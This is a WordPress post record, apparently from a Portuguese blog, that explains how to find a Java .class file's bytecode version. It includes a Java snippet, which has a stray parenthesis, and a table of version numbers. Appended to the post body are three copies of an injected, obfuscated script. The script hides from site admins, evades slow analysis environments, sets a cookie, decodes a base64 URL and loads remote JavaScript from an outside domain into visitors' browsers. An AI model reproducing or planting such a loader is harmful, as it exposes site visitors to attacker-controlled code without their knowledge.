{"id":3924,"date":"2013-04-08T19:25:33","date_gmt":"2013-04-08T22:25:33","guid":{"rendered":"http:\/\/www.thiagovespa.com.br\/blog\/?p=3924"},"modified":"2025-10-26T22:33:23","modified_gmt":"2025-10-27T01:33:23","slug":"descobrindo-a-versao-do-seu-bytecode","status":"publish","type":"post","link":"https:\/\/thiagovespa.com.br\/blog\/2013\/04\/08\/descobrindo-a-versao-do-seu-bytecode\/","title":{"rendered":"Descobrindo a vers\u00e3o do seu bytecode."},"content":{"rendered":"<p style=\"text-align: justify;\">Em algumas situa\u00e7\u00f5es temos o seguinte erro:<\/p>\n<pre>java.lang.IncompatibleClassChangeError: Implementing class<\/pre>\n<p style=\"text-align: justify;\">ou<\/p>\n<pre>java.lang.UnsupportedClassVersionError: XXXX: Unsupported major.minor version XX.X<\/pre>\n<p style=\"text-align: justify;\">Isso ocorre quando a vers\u00e3o do aplicativo foi compilada (javac) em uma vers\u00e3o superior \u00e0 m\u00e1quina virtual (java) que est\u00e1 sendo executada. Para descobrir a vers\u00e3o do seu .class, voc\u00ea pode executar o seguinte c\u00f3digo:<\/p>\n<pre class=\"brush: java; title: ; notranslate\" title=\"\">\n\t\tString file = &quot;\/caminho\/do\/seu\/Arquivo.class&quot;;\n\t\ttry (DataInputStream is = new DataInputStream(new FileInputStream(file))) {\n\t\t\tis.readInt(); \/\/ Magic Number = 0xCAFEBABE\n\t\t\tint minorVersion = is.readUnsignedShort();\n\t\t\tint majorVersion = is.readUnsignedShort();\n\t\t\tSystem.out.println(majorVersion + &quot;.&quot; + minorVersion));\n\t\t} catch (IOException e) {\n\t\t\te.printStackTrace();\n\t\t}\n<\/pre>\n<p style=\"text-align: justify;\">Nesse c\u00f3digo estamos lendo um arquivo .class. O primeiro integer do arquivo \u00e9 o n\u00famero m\u00e1gico dele, que se for um arquivo .class \u00e9 0xCAFEBABE. O pr\u00f3ximo dado, que \u00e9 um short sem sinal, cont\u00e9m a vers\u00e3o secund\u00e1ria da vers\u00e3o do compilador utilizada e o segundo short a vers\u00e3o principal.<\/p>\n<p>As sa\u00eddas podem ser as seguintes:<\/p>\n<ul>\n<li><span style=\"line-height: 13px;\">Java 1.0 ou Java 1.1: 45.3<\/span><\/li>\n<li>Java 1.2: 46.0<\/li>\n<li>Java 1.3: 47.0<\/li>\n<li>Java 1.4: 48.0<\/li>\n<li>Java 5: 49.0<\/li>\n<li>Java 6: 50.0<\/li>\n<li>Java 7: 51.0<\/li>\n<\/ul>\n<p style=\"text-align: justify;\">Com isso \u00e9 s\u00f3 executar o comando java -version, para obter a vers\u00e3o da m\u00e1quina virtual e verificar se o .class \u00e9 compat\u00edvel com a m\u00e1quina virtual. Caso n\u00e3o seja, ser\u00e1 necess\u00e1rio trocar para uma vers\u00e3o mais recente ou recompilar o bin\u00e1rio para a vers\u00e3o correta.<\/p>\n<p><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Em algumas situa\u00e7\u00f5es temos o seguinte erro: java.lang.IncompatibleClassChangeError: Implementing class ou java.lang.UnsupportedClassVersionError: XXXX: Unsupported major.minor version XX.X Isso ocorre quando a vers\u00e3o do aplicativo foi compilada (javac) em uma vers\u00e3o superior \u00e0 m\u00e1quina virtual (java) que est\u00e1 sendo executada. Para <a class=\"more-link\" href=\"https:\/\/thiagovespa.com.br\/blog\/2013\/04\/08\/descobrindo-a-versao-do-seu-bytecode\/\">Continue lendo  <span class=\"screen-reader-text\">  Descobrindo a vers\u00e3o do seu bytecode.<\/span><span class=\"meta-nav\">&rarr;<\/span><\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_monsterinsights_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0,"footnotes":""},"categories":[3],"tags":[],"class_list":["post-3924","post","type-post","status-publish","format-standard","hentry","category-java"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/posts\/3924","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/comments?post=3924"}],"version-history":[{"count":0,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/posts\/3924\/revisions"}],"wp:attachment":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/media?parent=3924"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/categories?post=3924"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/tags?post=3924"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}